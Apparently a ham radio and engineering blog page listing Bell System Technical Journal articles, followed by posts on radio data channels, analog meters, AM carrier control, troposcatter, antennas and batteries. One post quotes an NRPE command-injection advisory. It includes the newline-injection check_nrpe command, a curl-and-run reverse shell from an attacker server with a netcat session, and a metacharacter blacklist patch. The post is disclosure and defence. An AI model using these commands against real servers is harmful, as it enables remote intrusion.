BSTJ 30: 4. October 1951: The TD-2 Microwave Radio Relay System. (Roetken, A.A.; Smith, K.D.; Friis, R.W.)

BSTJ : The TJ Radio Relay System (Gammie, J.; Hathaway, S.D.)

Published July 4, 1960


BSTJ 39: 2. March 1960: Radio Frequency Interference Considerations in the TD-2 Radio Relay System. (Curtis, H.E.)

Published March 1960

BSTJ 62: 10. December 1983: The AR6A Single-Sideband Microwave Radio System: The Traveling-Wave-Tube Amplifier. (Balicki, J.F.; Cook, E.F.; Heidt, R.C.; Rutter, V.E.)


BSTJ 62: 1. January 1983: Maximum-Power and Amplitude-Equalizing Algorithms for Phase Control in Space Diversity Combining. (Karabinis, P.D.) Published January 1983

BSTJ 54: 1. January 1975: Space-Diversity Engineering. (Vigants, A.)

Published January 1975

BSTJ 44: 7. September 1965: The Triply-Folded Horn Reflector: A Compact Ground Station Antenna Design for Satellite Communiations. (Giger, A.J.; Turrin, R.H.)

Published September 1965

German microwave horn is based on this design. Musselhorn


BSTJ 42: 4. July 1963: The Autotrack System. (Cook, J.S.; Lowell, R.)

Published July 1963
Holmdel Horn tracker

BSTJ 42: 4. July 1963: The Servo System for Antenna Positioning. (Lozier, J.C.; Norton, J.A.; Iwama, M.)

Published July 1963

BSTJ 42: 4. July 1963: The Precision Tracker. (Anders, J.V.; Higgins, E.F. Jr.; Murray, J.L.; Schaefer, F.J. Jr.)

Published July 1963


BSTJ 42: 4. July 1963: Digital Equipment for the Antenna Pointing System. (Githens, J.A.; Peters, T.R.)

Published July 1963


BSTJ 38: 1. January 1959: Radio Transmission into Buildings at 35 and 150 mc. (Rice, L.P.)

Published January 1959


Published November 1952


BSTJ 38: 1. January 1959: Radio Attenuation at 11 kmc and Some Implications Affecting Relay System Engineering. (Hathaway, S.D.; Evans, H.W.)

Published January 1959

BSTJ 36: 3. May 1957: Interchannel Interference Due to Klystron Pulling. (Curtis, H.E.; Rice, S.O.)

Published May 1957

BSTJ 36: 2. March 1957: An Experimental Dual Polarization Antenna Feed for Three Radio Relay Bands. (Dawson, R.W.)

Published March 1957

BSTJ 47: 7. Septemember 1968: Microwave Radio Equipment and Building Considerations. (Skrabal, R.J.; Word, J.A.)

Published 1968-Septemember

BSTJ 38: 5. September 1959: A Network for Combining Radio Systems at 4, 6 and 11 kmc. (Harkless, Earl T.)

Published September 1959


Published November 1

BSTJ 50: 6. July-August 1971: Antenna Spacing Requirement for a Mobile Radio Base-Station Diversity. (Lee, W.C.Y. )

Published July 8, 1

BSTJ 60: 6. July-August 1981: Microwave Radio Obstruction Fading. (Vigants, A.)

Published July 8, 1

BSTJ 59: 8. Oct 1980: Horn-Reflector Antenna - Eliminating Weather-Cover Reflections. (Semplak, R.A.)

Published 1980-Oct

BSTJ 60: 8. October 1981: A New Approach to High-Capacity Digital Mobile Radio. (Henry, P.S.; Glance, B.S.)

Published October 1


BSTJ 45: 1. January 1966: The TM-1 / TL-2 Short Haul Microwave Systems. (Friis, R.W.; Jansen, J.J.; Jensen, R.M.; King, H.T.)

Published January 1966


BSTJ 50: 7. September 1971: TH-3 Microwave Radio System: Microwave Transmitter and Receiver . (Hamori, A.; Jensen, R.M.)

Published September 1


BSTJ 62: 10. December 1983: The AR6A Single-Sideband Microwave Radio System: Radio Transmitter-Receiver Units. (Heidt, R.C.; Cook, E.F.; Hecken, R.P.; Judkins, R.W.; Kiker, J.M. Jr.; Provenzano, F.J. Jr.; Wang, H.C.)

Published December 1983

BSTJ 37: 4. July 1958: Amplitude Modulation Suppression in FM Systems. (Ruthroff, C.L.)

Published July 1958

BSTJ 40: 1. January 1961: Mode-Conversion Filters. (Marcatili, E.A.)

Published January 1

BSTJ 50: 7. September 1971: TH-3 Microwave Radio System: Networks . (Drazy, E.J.; Sheehey, R.E.; Wang, H.C.)

Published September 1

BSTJ 47: 1. January 1968: An Improved Design of Waveguide Band-Rejection Filters. (Wang, H.C.)

Published January 1968

BSTJ 48: 2. February 1969: The Application of Delta Modulation to Analog-to-PCM Encoding. (Goodman, David J.)

Published February 1969


BSTJ 46: 1. January 1967: A High-Quality Waveguide Directional Filter. (Abele, T.A.)

Published January 1967

BSTJ 42: 5. September 1963: The TL Radio Relay System. (Hathaway, S.D.; Sagaser, D.D.; Word, J.A.)

Published September 1963


BSTJ 52: 5. May-June 1973: Computing Distortion in Analog FM Communication Systems. (Rainal, A.J.)

Published May 6, 1973


BSTJ 42: 4. July 1963: The Spacecraft Communications Repeater. (Davis, C.G.; Hutchison, P.T.; Witt, F.J.; Maunsell, H.I.)

Published July 1963


BSTJ 50: 7. September 1971: TH-3 Microwave Radio System: Modulators . (Giust, O.)

Published September 1

BSTJ 61: 8. October 1982: Error Probability of Partial-Response Continous-Phase Modulation withCoherent MSK-Type Receiver, Diversity, and Slow Rayleigh Fading in Gaussian Noise. (Sundberg, C.E.)

Published October 1982

BSTJ 40: 1. January 1961: Band-Splitting Filter. (Marcatili, E.A.; Bisbee, D.L.)

Published January 1

BSTJ 44: 4. April 1965: Index Reduction of FM Waves by Feedback and Power-Law Nonlinearities. (Benes, V.E.)

Published April 1965

BSTJ 50: 7. September 1971: TH-3 Microwave Radio System: Microwave Generator . (Bedell, H.R.; Judkins, R.W.; Lahlum, R.L.)

Published September 1

100 KHz Data Channels

In amateur radio we have 100 KHz wide data channels at a maxiumum of 19.2 kbaud (not kbit, kbaud indicates a symbol rate, not the actual data transferred or the binary serial data rate) at 222 MHz and above. However, very few radios actually support this data mode.

One approach to solve this problem is by using frequency-division multiplexing and inverse multiplexing. Inverse multiplexing separates a single high-speed serial data stream into a specific sequence of several slower serial data flows which pass over multiple data links of some form and are resequenced and combined at the opposite end of the link back into a high-speed data stream.

Using frequency-division multiplexing allows multiple voice channels to share a common group channel as if they were added up on the frequency axis. six 300 - 4,000 Hz voice channels are stacked to create a 300 - 24 KHz baseband voice group. That group when applied to an FM modulator with a modulation index of 1 in an occupied bandwidth of approximately 100KHz as calculated by Carson's Rule ( 24 KHz + 24 KHz = 48 KHz; 48 KHz * 2 = 96 KHz). (FCC Part 97 states that modulation index may not be greater than one.)

By splitting the resistive hybrid combiners from an external V.90 or V.92 modem (33.6 K or 56 K), the modem can be duplexed to use a four-wire interface with a separate TX and RX audio pair instead of a two-wire interface with both RX and TX combined. By capturing the independent audio streams using sound cards or DSP, the streams can be combined into four or just with simple processing. The incoming audio is captured at 8,000 samples per second with a 8-bit sample depth. The audio is mixed / stacked / combined using simple processor math or DSP, resulting in an audio stream that extends from 300 Hz to 24KHz. This is within the capabilities of 48KHz or 96 KHz sound cards, and there are USB varieties of each today. The resulting combined audio stream is applied directly to the modulator of a radio, creating the 100KHz wide modulated signal. To receive the signal, one need only remove the IF filters from the FM radio and replace the 20KHz filters with 100 KHz filters. The modulator may require specific modifications; some PLL loops operate at 50 KHz and may be incapable of handling the broad bandwidth.

The reason why 0-300 Hz is not used is to prevent issues with DC coupling in the modulator or demodulator. This also allows for introducing a low-frequency signaling component or clock synchronization carrier without introducing large amounts of AM, FM, and/or PM interference of any combination thereof.

The V.90 modem has a carrier frequency of 3429 Hz and runs at QAM256, encoding eight bits of information per resulting symbol. The V.90 and V.92 modem cores do not exist in an open-source format and contain related patents. Therefore, this is a circumstance where the modem function is effectively offloaded to dedicated hardware.

Combining the data flows from the six modems requires a form of inverse multiplexing. Rather than re-engineer and re-implement this in an format specific to this application, one may use Multilink PPP to effectively manage the modems and modem connectivity as well as perform frame disassembly and assembly.

Since digital switching is not involved, it is not possible to achieve 56 K or 64 K data rates. Instead, the maximum analog rate is the limit at 33.6 kbit/s per modem. This aggregates to 201.6 kbit/s, with one byte per modem being sent per symbol transmitted, (i.e.: 3429 * 6 = 20574 but the actual baud rate is 3429 Hz). Six bytes are transmitted per symbol time aggregated across all modems.

If one transmitter is located at 420.050 and another further up the band at 446.550 MHz, then duplexing may be possible without using cavity filters.

Why Analog Meters?

Why should I use analog meters?

  • Require no batteries
  • Can be left in circuit at all times
  • Instant or continuous reading/observation
  • Range can be set by configuration/specification/design

Analog meters may be used for a number of applications for measuring volts, amps, watts, ohms, etc. The biggest advantage is that one need not replace batteries to continue to observe electrical conditions.


In the case of voltmeters, one can protect the meter by using zener diodes. The range in a voltmeter is set by the coil resistance, as well as the multiplier or ballast resistor.

For ammeters, a pair of Schottky diodes wired back to back will protect the meter movement from large swings, with the hazard being that a 50 or 75 mV Full-Scale Deflection (FSD) meter movement may experience 300-400 mV as the diode starts to conduct, effectively acting like a zener diode.

  • Caveat: Ammeter shunts must be designed or rated for continuous-duty use to remain in circuit all the time. 
A standard shunt is only designed for 66% of the continuous-duty power dissipation requirements.  To maintain resistance rating, a larger shunt must be used that provides the same resistance over the desired range. One may calculate the range based on comparing 50mV shunts to 75 mV shunts and lining up the resistance to power ratings.

50mV is 66% of 75 mV; a 75A 75 mV shunt produces 50mV at 66% of the rated current (75A x 66% = 49.5A). Thus, a 75A 75mV intermittent-duty shunt is also  50mV 50A continuous-duty shunt (plus or minus a few percent).

To protect either in the case or situation of induced RF, liberal use of Schottky diodes and/or 10 - 1000 nF (0.01 uF, 0.1 uF, and 1 uF) capacitors will effectively short out the AC component.

A secondary caveat to using analog meters is that they are not known for accuracy; common meters were +/- 3% accurate, while high-accuracy meters were often +/- 1% accurate. Digital meters are far more accurate, but with accuracy come costs, and external power requirements.

IP Allocation Plan for AMPRNet Alabama

This is my plan for IP Allocation in for the Alabama section of AMPRNet:

V1.0: - /21 Backbone networking projects (statewide infrastructure, servers, DNS, DHCP, WWW, etc.) - 2x /24: /30s and /31s for fixed links on an individual coordination basis. - KK5VD (/28 actual for four links) - KK5VD - KK5VD - KK5VD - unallocated - individual allocations as necessary (/24s, etc. start here) Allocated N4BWP Allocated Madison County Area. /18 Statewide Mesh, OSLR, etc. Individual IPs defined per hostname or IP or request. Netmask:

V2.0: backbone services space
44.100.1-67/24: one /24 per county.
44.100.68-96: additional networks as needed, such as metro-area links
44.100.97-127: filled from the highest to lowest for point-to-point links, i.e.:
44.100.192-223/19: Mesh space - may be expanded to 44.100.128 and/or 44.100.255.

All of this keeps in mind that RF doesn't respect county boundaries, and there may be more than 252 people using IP in a given county.

Disable Auto-Play On Import in iTunes

From the "Who thought this was a good idea?" Dept.:

How to disable auto-play on import in iTunes:

Open a Terminal.App window and paste this in:

defaults write com.apple.iTunes play-songs-while-importing -bool FALSE

That's all.

AM Transmitter Efficiency Improvement

A carrier control system is sweeping AM radio stations now as AM stations rush to save power, Craig Kopcho says this on his experience:

This is a power saving gizmo that I installed in WOKV's night-time transmitter. It is set for a minus 3 dB dip in carrier and modulation power during periods of peak modulation. You can actually see the power drop with modulation. Now this goes against everything that I have been taught but I notice no degradation in coverage or loudness with the carrier control system working. The advantage of doing this is an overall reduction in power consumption. Again I have been where the signal is almost non-existing and remotely switched this system on and off and I cannot hear the difference. It should be noted that we have been granted permission from the FCC to not conform to traditional carrier shift requirements. The video was shot with the transmitter looking into the dummy load. https://www.youtube.com/watch?v=FARdE7_8bQM
Tom Ray corrects:

Your paragraph... ...is a little misleading. The power in the sidebands doesn't change from full carrier operation - so the modulation power is the same. It's the carrier that drops. And, be honest. When you put it on the air, and first saw the common point meter drop, you thought you had to fix something. That was my reaction.

"Everything old is new again," except there is nothing new here, save for the implementation. The technique originates in AM-compatible SSB and/or DSB with a suppressed carrier (DSB-SC). Dynamic Carrier Control has been around for a while, but real-time conversion from pure AM (even with DCC enabled) to DSB-SC is resulting in lowered power bills significantly (Tom Ray reported consistently measuring a 34% reduction in power consumption with a Harris 3DX50 transmitter, equating to about 23% savings for the entire site after including HVAC savings).

The short explanation of this phenomenon is that the carrier itself is being amplitude modulated prior to mixing or modulation when modulation is maximized. In this way, the implementation is more like AM times AM, or AM squared. It effectively behaves as if one placed a variable attenuator in the RF line and turned down the RF drive level as the modulation level approached maximum modulation. The drive level is returned to normal as the transmitter recovers from the modulation peak.

Historical AM transmitters, like WLW's 500kW station, requires large amounts of power to modulate the plate supply. The modulation power at audio frequencies is fed into a transformer installed between the DC power supply and the RF amplifier tubes and the resulting added or subtracted power effectively turns the carrier on and off on a continuously variable basis up to the limits of transformer core saturation, producing the modulation sidebands around the carrier as the constant carrier is modulated in amplitude by the combination of the two powers. As the transformer approaches saturation, it acts like a reactor or a variable choke, limiting the transfer of power to the final amplifier. This is how the 90-100% modulation is achieved; by pinching off the RF PA's power supply. Old fashioned, but it works.

The above technique is being rediscovered as the Class G amplifier, where the power supply bus rails and transistor biases are switched from several operating voltages, i.e.: -50, -25, -15, -7, -3.5 V and 3.5, 7, 15, 25, 50 V. The amplifier is kept operating as a Class-C amplifier at the different power levels and switched to the next range as more power is needed. Basically, a 150 W transistor (i.e.: 2N3055) is being used as a 100 mW (2N2222 or 2N3904 for the new kids), 1 W, 5 W, or 25W transistor when necessary.  

A two-way FM radio rated for 110W was sometimes rated by the manufacturer for 55W to 110W continuously variable -- that is, the power may be set to any level in that range and left there. The efficiency of the final (Class C) amplifier varies considerably through that range, and at power levels below 80%, may be less efficient than at higher power levels due to the fixed transistor bias levels. Those fixed bias levels cause the transistor to conduct longer at lower power levels, effectively reducing the "pulse like" behavior of a Class C amplifier -- conducting less than 50% of the time, approximately 120 degrees of the 360 degrees in a sine wave (33%) --  into a Class B amplifier, conducting 180 or less degrees (50%) and if bias is set high enough, into a Class AB amplifier, conducting 360 to 180 degrees of the cycle. Here I express conduction angle backwards, since we are moving from more efficient to less efficient as transistor bias voltage goes up and the transistor conducts more and more of the time it takes the sine wave to go through the cycle. That conduction time is being expressed in degrees of a 360 degree circle -- a sine wave may also be expressed as a circle, but that's calculus, vectors, and a whole lot of math.

What DSB-SC is doing is amplitude modulating the RF carrier drive to the final amplifier so that as peak modulation is approached, the RF drive is minimized. The resulting total peak power demand on the final amplifier goes down but the effective signal does not because the carrier is suppressed, reducing the amount of power required to amplify the combined lower and upper sidebands and the carrier.

From http://www.w8ji.com/amplitude_modulation.htm:

(If) Unmodulated carrier = 100 watts (PEP or) average carrier power.

Average is the same as PEP because, absent amplitude modulation, the carrier level is unchanging over time.

100% steady modulated 100 w carrier = 400 watts PEP or 150 watts average or "heating" power. Of this 150 watts average or "heating" power, 100 watts is in the carrier, and 25 watts average power is in each of the two AM signal's sidebands.

Carrier average power = 2/3 of the total 100% modulated average power

Total of both sidebands, average power = 1/3 of total average power under 100% modulation

Average power one sideband = 1/6th average power with 100% modulation

Peak Envelope Power 100% symmetrical modulation = Four times carrier power
As the carrier power is dynamically adjusted lower as modulation power increases, the total power required will flatten out, thus allowing an amplifier of a given size to effectively produce a signal as well as a conventional "pure AM" transmitter. One would think the CB radio guys would have figured this out a decade or two ago to get "more power" from a 4W AM or 12W SSB radio. DSB-SC, one would find the power level somewhere between those two numbers, but that's another story entirely.

NRPE Exploit and Solution

I don't often get on my soapbox, but this has gone on too long without resolution.

1. 4/20/2014, this was posted:


Recently, news emerged about a 'vulnerability' in Nagios's NRPE 'agent' - http://1337day.com/exploit/22156Essentially, you can use it to write files or items to /tmp (or any 'write all' directly ('777')) as below:

nagios@nagios-server:/usr/local/nagios/libexec# /usr/local/nagios/libexec/check_nrpe  -H myServer -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4
Then if you look on your 'monitored server', you'll see:

root@myServer:/proc# cd /tmp/
root@myServer:/tmp# ls -la
total 24
drwxrwxrwt 4 root root 4096 Apr 20 20:24 .
drwxr-xr-x 22 root root 4096 Apr 18 10:30 ..
-rw-r--r-- 1 nagios nagios 0 Apr 20 20:25 vulntest
This isnt best - as, has been seen, some pretty bad people can use this to put all kinds of bitcoin mining rubbish on there, amongst other things. Now, this only works because /tmp is writable to everyone (even on my test server, see below):

root@server:/# ls -la | grep tmp
drwxrwxrwt 4 root root 4096 Apr 20 20:24 tmp
So - answer number 1 - secure it! Now, if your savvy and use a config management tool like Puppet, Chef, Ansible etc then you can do this en-masse. For me, ive only got the one test server, so i just edited /etc/fstab:

/dev/sda7 /tmp ext3 nosuid,noexec,nodev,rw 0 0

This stops executables running from /tmp, neither any suid programs (more information here): http://www.techrepublic.com/blog/linux-and-open-source/secure-temporary-files-in-linux/171/#.Next step - answer number 2 - secure your boxes with a firewall. NRPE agents should ONLY be accessible from the Nagios monitoring server. The simplest way is to use iptables on the box:

iptables -I INPUT 2 -s -p tcp --dport 5666 -j ACCEPT
And reject NRPE from any other server. This means, only your Nagios server can access the box via 5666 - so, unless your monitoring server gets compromised - you should be in good shape.So - /tmp isnt writable, and no-one can run check_nrpe against the box except your monitoring server.Finally - look at SELinux if your using RHEL/Centos and the likes, and also look at this guide here: http://nagios.sourceforge.net/docs/3_0/security.htmlAt the end of the day, your network is only as secure as you make it - therefore i'd recommend a review of who can access your internal networks, HOW they got access (Firewalls, NAT, etc) and a review of your IPS/IDS if you are experiencing this issue.Also - this may be of interest in the future - check_by_ssh - http://www.techrepublic.com/blog/linux-and-open-source/remotely-monitor-servers-with-the-nagios-check-by-ssh-plugin/.We are currently looking at a patch for this issue in the coming days, so stay tuned to Twitter/Opsview forums for more on this issue.Sam MarshProduct ManagerOpsview

2. From http://1337day.com/exploit/22156
NRPE <= 2.15 - Remote Command Execution Vulnerability, 4/19/2014:

NRPE - Nagios Remote Plugin Executor  <= 2.15 Remote Command Execution
Nagios is an open source computer system monitoring, network monitoring and
infrastructure monitoring software application. Nagios offers monitoring and
alerting services for servers, switches, applications, and services.
It alerts the users when things go wrong and alerts them a second time when
the problem has been resolved.
The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you to
execute Nagios plugins on remote Linux/Unix machines.
The main reason for doing this is to allow Nagios to monitor "local" resources
(like CPU load, memory usage, etc.) on remote machines. Since these public
resources are not usually exposed to external machines, an agent like NRPE must
be installed on the remote Linux/Unix machines.
Nagios Remote Plugin Executor (NRPE) contains a vulnerability that could
allow an attacker to remotely inject and execute arbitrary code on the host
under NRPE account (typically 'nagios').
The vulnerability is due to NRPE not properly sanitizing user input before
passing it to a command shell as a part of a configured command.
In order for an attacker to take advantage of the host NRPE must be compiled
and configured with command arguments.
No authentication is required to exploit this vulnerability if the NRPE port
has not been protected with a firewall.
NRPE expects definitions of commands in nrpe.cfg config file. Some of the
examples given in the config with hardcoded arguments are:
command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10
command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20
command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1
when command arguments are enabled then user is also allowed to define
commands with variables like:
command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$
command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$
This is often suggested for convenience in various nagios/nrpe setup tutorials
on the web.
To get a result from a defined command in NRPE daemon the following nrpe client
can be used with -a option that passes arguments:
# /usr/local/nagios/libexec/check_nrpe  -H -c check_users -a 4 4
USERS OK - 4 users currently logged in |users=4;4;4;0
in case check_users command was defined with arguments as shown above
NRPE would execute:
/usr/local/nagios/libexec/check_users -w 4 -c 4
on the local system.
As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function for
command execution:
/* executes a system command via popen(), but protects against timeouts */
int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){
                /* run the command */
using popen() results in the command being executed with the help of a command shell.
Before this function is reached however NRPE takes several measures to prevent
malicious command injection to the shell. That includes filtration based on a blacklist:
#define NASTY_METACHARS         "|`&><'\"\\[]{};"
/* make sure request doesn't contain nasties */
    syslog(LOG_ERR,"Error: Request contained illegal metachars!");
that prevents bash special characters like semicolon, pipe etc.
The code is also making sure that arguments do not contain bash command substitution
i.e. $(ps aux)
if(strstr(macro_argv[x],"$(")) {
    syslog(LOG_ERR,"Error: Request contained a bash command substitution!");
    return ERROR;
Despite these checks the code is vulnerable to command injection as bash shell allows
for multiple command execution if commands are separated by a new line.
None of the checks examines the arguments for an occurrence of a new line character: 0x0A
To execute an arbitrary command an attacker could simply add a new line character after
a parameter and follow it with his own command.
To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments:
# /usr/local/nagios/libexec/check_nrpe  -H -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4
which make NRPE daemon run the following series of commands:
/usr/local/nagios/libexec/check_users -w <new_line>
touch /tmp/vulntest
# -c 4
and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to comment
out the the rest of the arguments.
An attacker gets a limited set of commands as most of the metacharacters are prohibited by the
blacklist. So for example it's difficult to create new files in the system without using > symbol etc.
An attacker could however download a snippet of perl/python etc. code from the web by using wget or
curl command and get a reverse shell. This would allow unrestricted access to the command line:
---------[revshell.pl on attackers-server]---------
use Socket;
#attackers ip to connect back to
    exec("/bin/sh -i");
/usr/local/nagios/libexec/check_nrpe  -H -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 "
[attacker@ ]# nc -v -l 8080
Connection from port 8080 [tcp/ddi-tcp-1] accepted
sh-4.1$ id
uid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd)
sh-4.1$ cat /etc/passwd | head -n 4 ; pwd
sh-4.1$ ls -l /tmp/tmp_revshell
-rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshell
sh-4.1$ rm -f /tmp/tmp_revshell
An attacker could exploit the vulnerability to gain access to the system
in the context of a nagios user this could lead to further compromise
of the server.
Current version of NRPE 2.15 and older are vulnerable.
Disable command arguments if possible.
Protect access to NRPE port and only allow access from a trusted
nagios server.
Install updated version of NRPE when it becomes available.

# F8888C01AE0BB66C   1337day.com [2014-07-24]   4F480D1B5D7C5F9D #
3. From http://exchange.nagios.org/directory/Addons/Monitoring-Agents/NRPE--2D-Nagios-Remote-Plugin-Executor/details :

Current Version
Last Release Date
Compatible With
  • Nagios 1.x
  • Nagios 2.x
  • Nagios 3.x

4. Yes, so that's V2.15, released on 09-06-2013, found sploitable on 4-19-2014, responded to on 4-20-2014... and not fixed by 07-29-2014.

I've written my own patch and applied it to systems I work on:

#define NASTY_METACHARS         "\x7c\x60\x26\x3e\x3c\x27\x22\x24\x5c\x5b\x5d\x7b\x7d\x28\x29\x3b\x2a\x0a\x0d\x0f\x3f\x2e"
 *  Nasty Characters as defined by kirby:
 *  pipe, backtick, ampersand, lessthan, greaterthan,\
 *  singlequote, doublequote, backslash, brackets,\
 *  curlybraces, parenthesis, semicolon, asterisk, ASCII \
 *  \x01 (start of heading) through \0x1f (unit separator),\
 *  (<- skipped) question mark, delete, dollar sign,
 *  period.
 * \x04 is EOF; exclude \! because it's the separator.

The fact that this issue has been unaddressed for three months and it is one of the central daemons to Nagios is reprehensible. Additionally, the initial text of the #define given includes a second error in it: an unescaped single quote. I sidestepped the escape issue by declaring them all as hexadecimal from the ASCII chart.  This speaks of two glaring problems: 1) no code review, 2) no code testing, and 3) no actual security testing or analysis.

While Sam Marsh is right, that the daemon should be firewalled off from all hosts except for the intended target / host, the fact that this is considered as a remedial measure is also unacceptable. Security should be through defense in depth, not a hurried response to the crisis of the day. Security should be involved from the very beginning, particularly where network communications are involved.

The fact that this product is being sold for money means that at the very least, a gaping hole like this should be addressed post-haste.

Ham Radio's Next Retro Frontier: Tropo

While recently reading about the AN/TRC-170, it occurred to me that it is more than possible for amateur radio operators to use this technology much like they do Near Vertical Incident Skywave (NVIS) propagation over HF radio.

Wikipedia page on Troposcatter Communications.

Basically, Ma Bell and the military used this technology to talk around the world mostly reliably. The old systems used 1 to 10kW klystrons and massive antennas (40dB to 60 dB at 2GHz, or bigger than your average billboard), between 345 - 988 MHz, 1.7 - 2.1 GHz, and 4.4 - 5.0 GHz.  (Communications and Information Systems, by Michael John Ryan, Michael Frater)
Rough calculations figure that the systems only transmitted a signal about 128 KHz wide (32 channels at 4 KHz, SSB being the most common mode over microwave). Selective fading over distance caused noise so the systems often used double or quadruple diversity systems (space and polarization) to mitigate and assure link quality. Documentations by Bell Labs indicates that FDM signals were used to FM modulate a carrier which resulted in less noise but required higher transmitter power.

One factor of troposcatter is that the systems need an unobstructed view of the horizon. This may be difficult to arrange, and existing communications systems in the main lobe of the antenna may be negatively affected, requiring immediate mitigation.

The AN/TRC-170's klystron amplifier has a minimum power output of 2 kW between 4.4 - 5.0 GHz and the set is typically equipped with two six foot or ten foot dishes. It is capable of full-duplex operation, and can transmit about 16Mbit/s of data over 3.5 to 7.0 MHz (QAM or QPSK, two bits per point in the constellation). Armchair calculation gives results that it likely a QPSK signal with 7/8 FEC, the occupied bandwidth is 3.4MHz, which matches up with some Reed-Solomon thrown into the mix. (QPSK at 4MHz results in an occupied spectrum of 2MHz and line codes increase the link speed required (such as how 8b10b turns 100 Mbit/s of data into 125 MHz of physical link).

The AN/TRC-170(V) is capable of providing connectivity to a mixture of up to 32 analog (includes FSK), or digital, local subscriber channels and up to 4 TRI-TAC Digital Trunk Groups (DTG). A single TRI-TAC group consisting of up to 144 subscriber loops (2304 KB/s or 4608 KB/s) can be configured to operate using external equipment vans to provide the high data rate DTG.

This system is probably capable of operating at extremely low Eb/N0s, which it looks like the minimum for this mode is 6 to 9 dB.

Tropo link calculator: http://www.bobatkins.com/radio/scatter2.html

Amateur use of this technology can be fulfilled as follows:

  • Transmitter Power Output Limit is 1.5 kW at the antenna
  • Unlimited antenna gain allowed
  • OET 65 must be complied with
  • Eight-foot dishes from C-band TVRO satellite dishes may be used with tripods or permanently mounted
  • Band choice is limited by antenna gain since transmitter power is limited at 1.5kW
  • Any band may be used if the propagation supports it (and the MUF does not)
  • Practical contacts have been made on 2m, 70cm, and up.
  • 70cm, 33cm, 23cm, 2.4GHz, 3.4GHz, and 5.6 - 5.9 GHz may be most useful depending on amplifier availability.
  • Modulation of a magnetron might be a possibility using phase shifters, but spectral purity requires improvement. A klystron is actually two magnetrons with a drift tube between them holding the electronic beam in the focus coils.
  • Low S/N Ratio is not an issue for CW or narrow bandwidth SSB, ACSSB, AM-compatible SSB, or BPSK. Digital modes with FEC make this most useful.
  • Dual antennas or arrays may be most useful due to power levels present combined with sensitive receiver electronics. 
  • This mode is most useful in rural areas where urban noise is not present
  • Fine control of azimuth and elevation may be necessary as well as prior coordination of likely station locations and/or GPS coordinates to effectively establish communications. 
  • Limitations on amateur use is mostly related to transmit power limits, not antenna size, location, or number.
  • Workarounds for power limits may be deploying multiple transceiver sets at the same location or close by each other operating under the same callsign much like Field Day.
  • SSB and ACSSB carrying digital modes may be the best way to use this mode.

Safety is another factor; a ten-foot diameter Ku-band microwave dish weighs 900 lbs; a tower to hold such an object aloft is typically large and expensive.

The Untenna, A Direct Driven Ring Radiator (DDRR)

The Untenna is a direct driven ring radiator (DDRR) which was manufactured in New York by ComRad Industries, Inc. I believe ComRad is out of business, but I may be wrong. Here is some information I found that I scanned from ComRad:


It's not an antenna manual, but one can note that the antenna is simple in construction. It was invented by Dr. Joseph M Boyer and patented in 1964:


The antenna was published in 73 Magazine. I have pulled the JPGs from The Internet Archive Project and combined them into a single PDF linked below.


Surprisingly, this early horizontal antenna was cited:


The antenna shows up in the History of The Bell System, a multi-volume set of books illustrating technological achievements of the Bell Telephone Company.

Other information on the DDRR:


It appears the DDRR has been used for every imaginable purpose, including NVIS. It is somewhat related to the magnetic loop, which shares many aspects of the antenna.

If you're in need of ideas: https://www.google.com/search?q=ddrr+antenna

Battery Size Requirements for Communications

This is on the GROL exam, but...

If the duty cycle is 10%, and the radio draws one ampere on receive and twenty-five amperes on transmit, how much battery capacity is needed to provide support for twenty-fours?

90% of the time, the radio will draw 1A.
10% of the time, the radio will draw 25A.

So the average then becomes:

Ia = (1 * 90%) + (25 * 10%)
Ia = (1 * 0.90) + (25 * 0.10)
Ia = 0.90 + 2.5
Ia = 3.4 A

Since the system will draw this more or less continuously, the battery should be sized accordingly. There are caveats however. Most batteries react negatively if the discharge rate is greater than 50% of the amp-hour rate. For instance, attempting to draw 100A out of a 100Ah battery for one hour will only result in a usable capacity of 50Ah. This is because of internal cell resistance.

Ia * time = capacity required
3.4A * 24h = 81.6Ah

Additional capacity should be provided so the battery is never fully discharged, and to cope with temperature extremes which limit the ability to both charge and discharge the battery.

If the discharge rate exceeds 50% of the battery capacity, derating (additional capacity) will be necessary to provide enough power to run the load.

Most batteries are specified on a twenty hour (20h) discharge cycle, not a twenty-four hour (24h) cycle. Therefore an additional 20% is required if calculating based on battery data; the 24h rate requires 120% the battery of the 20h rate for the same current draw, if using back of the envelope calculation. For calculations like the above, this issue is not considered because the time for discharge is defined.

A good safety margin is 125% - 250%. If 81.6Ah is required, 100Ah will allow for some reserve capacity, and 200Ah will allow for the temperature dropping below 60 degrees F or exceeding 85 degrees F.

Always remember to keep your batteries off the ground, and not sitting on a metal plate as coldsinking effectively removes capacity.

Additional resources:



Quick and Dirty Aviation Headset Interfacing

There are about three different styles of headsets, generally speaking.

A PC- or phone-style headset will use an electret mic and have one or more low-impedance earphones. Typically, a bias voltage is expected and provided by the device for the electret microphone, and an impedance or load on the MIC line of about 18 kohms. Earphones may be 8 ohms to 64 ohms, typically 16 - 32 ohms. Higher impedances are common in newer equipment at either or both ends of the earphone circuit.

A General Aviation headset will typically use an electret microphone and one or more high-impedance earphones. This electret microphone will also expect a bias voltage to be provided by the radio, but the microphone impedance will be lower, approximately 50 ohms. The radio microphone input impedance may be 50 ohms to 300 ohms. The earphones will be 150 to 600 ohms, often 300 ohm earphones are used and the two earphones wired in parallel to halve the impedance to 150 ohms.

